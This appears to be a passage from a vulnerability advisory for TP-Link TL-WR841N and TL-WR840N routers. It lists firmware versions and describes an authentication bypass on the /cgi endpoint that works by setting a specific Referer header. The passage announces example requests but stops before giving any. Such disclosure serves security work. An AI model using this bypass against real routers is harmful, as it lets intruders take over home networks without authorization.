Version: 0.9.1 4.16 v0001.0 Build 170622 Rel.64334n
Hardware: TL-WR841N v13 00000013
Version : Firmware Version: 0.9.1 3.16 v0001.0 Build 170608 Rel.58696n
Hardware Version: TL-WR840N v5 00000005
Vendor Description: TP-Link is the world's #1 provider of consumer WiFi
networking devices, shipping products to over 120 countries and hundreds of
millions of customers. (source https://www.tp-link.com/)
Attack Description :
This issue is caused by improper session handling on /cgi/ Folder or /cgi
file found by Touhid Shaikh(BlackFog Team Member).
if any attacker sends Referer Header with its request and sets Referer:
http://192.168.0.1/mainFrame.htm dan its no authentication required and an
attacker can do router's action without authentication.
below are some of few examples you can see. But the attacker can do mostly
all of the action on a router without Authentication.
NOTE: Except admin's password change bcz its required current password for
changing
